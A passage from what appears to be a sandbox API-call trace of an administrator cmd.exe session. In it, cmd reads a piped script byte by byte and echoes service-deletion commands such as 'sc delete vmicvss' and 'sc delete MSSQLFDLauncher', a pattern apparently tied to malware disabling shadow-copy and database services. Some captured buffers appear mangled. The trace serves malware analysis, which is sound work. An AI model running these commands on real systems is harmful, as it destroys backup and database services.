(hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0068.688] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0068.688] CloseHandle (hObject=0x50) returned 1 [0068.688] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0068.688] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0068.688] GetProcessHeap () returned 0x4a0000 [0068.688] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0068.688] GetEnvironmentStringsW () returned 0x4bba90* [0068.688] GetProcessHeap () returned 0x4a0000 [0068.688] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0068.688] FreeEnvironmentStringsW (penv=0x4bba90) returned 1 [0068.689] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0068.689] GetProcessHeap () returned 0x4a0000 [0068.689] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0068.689] GetEnvironmentStringsW () returned 0x4bba90* [0068.689] GetProcessHeap () returned 0x4a0000 [0068.689] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0068.689] FreeEnvironmentStringsW (penv=0x4bba90) returned 1 [0068.689] GetProcessHeap () returned 0x4a0000 [0068.689] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0068.689] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0068.689] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0068.690] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.690] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0068.690] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.690] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0068.690] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.690] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0068.690] GetConsoleOutputCP () returned 0x1b5 [0068.691] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0068.691] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.691] GetProcessHeap () returned 0x4a0000 [0068.691] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0068.691] GetProcessHeap () returned 0x4a0000 [0068.691] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0068.691] GetProcessHeap () returned 0x4a0000 [0068.691] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0068.691] GetProcessHeap () returned 0x4a0000 [0068.691] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0068.691] GetProcessHeap () returned 0x4a0000 [0068.691] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6550 | out: hHeap=0x4a0000) returned 1 [0068.691] GetProcessHeap () returned 0x4a0000 [0068.691] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0068.691] GetProcessHeap () returned 0x4a0000 [0068.691] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0068.691] GetProcessHeap () returned 0x4a0000 [0068.691] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0068.691] GetProcessHeap () returned 0x4a0000 [0068.691] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b97e0 | out: hHeap=0x4a0000) returned 1 [0068.692] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0068.692] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.692] GetFileType (hFile=0x120) returned 0x3 [0068.692] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.692] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0068.692] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0068.692] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0068.692] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.692] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0068.692] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0068.692] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.692] GetFileType (hFile=0x120) returned 0x3 [0068.692] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.692] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0068.692] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0068.693] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.693] GetFileType (hFile=0xb8) returned 0x3 [0068.693] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.693] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.693] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.693] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete vmicvss\nsync\n\nface\n") returned 1 [0068.693] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.693] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.693] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.693] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete vmicvss\nsync\n\nface\n") returned 1 [0068.693] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.693] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.693] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.693] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete vmicvss\nsync\n\nface\n") returned 1 [0068.693] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.693] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.693] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.693] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete vmicvss\nsync\n\nface\n") returned 1 [0068.693] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.694] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.694] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.694] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete vmicvss\nsync\n\nface\n") returned 1 [0068.694] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.694] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.694] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.694] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete vmicvss\nsync\n\nface\n") returned 1 [0068.694] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.694] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.694] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.694] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete vmicvss\nsync\n\nface\n") returned 1 [0068.694] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.694] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.694] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.694] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te vmicvss\nsync\n\nface\n") returned 1 [0068.694] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.694] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.694] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.694] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e vmicvss\nsync\n\nface\n") returned 1 [0068.694] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.695] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.695] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.695] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" vmicvss\nsync\n\nface\n") returned 1 [0068.695] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.695] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.695] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.695] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="Mmicvss\nsync\n\nface\n") returned 1 [0068.695] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.695] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.695] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.695] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="Sicvss\nsync\n\nface\n") returned 1 [0068.695] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.695] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.695] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.695] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="Scvss\nsync\n\nface\n") returned 1 [0068.695] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.695] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.695] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.695] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="Qvss\nsync\n\nface\n") returned 1 [0068.696] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.696] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.696] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.696] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="Lss\nsync\n\nface\n") returned 1 [0068.696] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.696] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.696] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.696] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="Fs\nsync\n\nface\n") returned 1 [0068.696] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.696] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.696] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.696] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="D\nsync\n\nface\n") returned 1 [0068.696] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.696] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.696] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.696] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="Lsync\n\nface\n") returned 1 [0068.696] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.696] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.697] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.697] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="aync\n\nface\n") returned 1 [0068.697] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.697] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.697] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.697] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="unc\n\nface\n") returned 1 [0068.697] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.697] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.697] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.697] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="nc\n\nface\n") returned 1 [0068.697] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.697] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.697] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.697] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="c\n\nface\n") returned 1 [0068.697] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.697] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.697] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.697] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="h\nface\n") returned 1 [0068.697] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.698] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.698] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.698] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="eface\n") returned 1 [0068.698] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.698] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.698] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.698] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e350, cchWideChar=1 | out: lpWideCharStr="race\n") returned 1 [0068.698] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.698] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.698] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.698] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e352, cchWideChar=1 | out: lpWideCharStr="\nce\n") returned 1 [0068.698] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.698] GetFileType (hFile=0xb8) returned 0x3 [0068.699] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.699] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.699] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.699] GetFileType (hFile=0x120) returned 0x3 [0068.699] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.699] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete MSSQLFDLauncher\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete MSSQLFDLauncher\n", lpUsedDefaultChar=0x0) returned 27 [0068.699] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x1a, lpOverlapped=0x0) returned 1 [0068.699] GetProcessHeap () returned 0x4a0000 [0068.699] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c2630 [0068.699] GetProcessHeap () returned 0x4a0000 [0068.699] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c2630 | out: hHeap=0x4a0000) returned 1 [0068.699] GetProcessHeap () returned 0x4a0000 [0068.699] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4b97e0 [0068.699] GetProcessHeap () returned 0x4a0000 [0068.699] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0068.700] 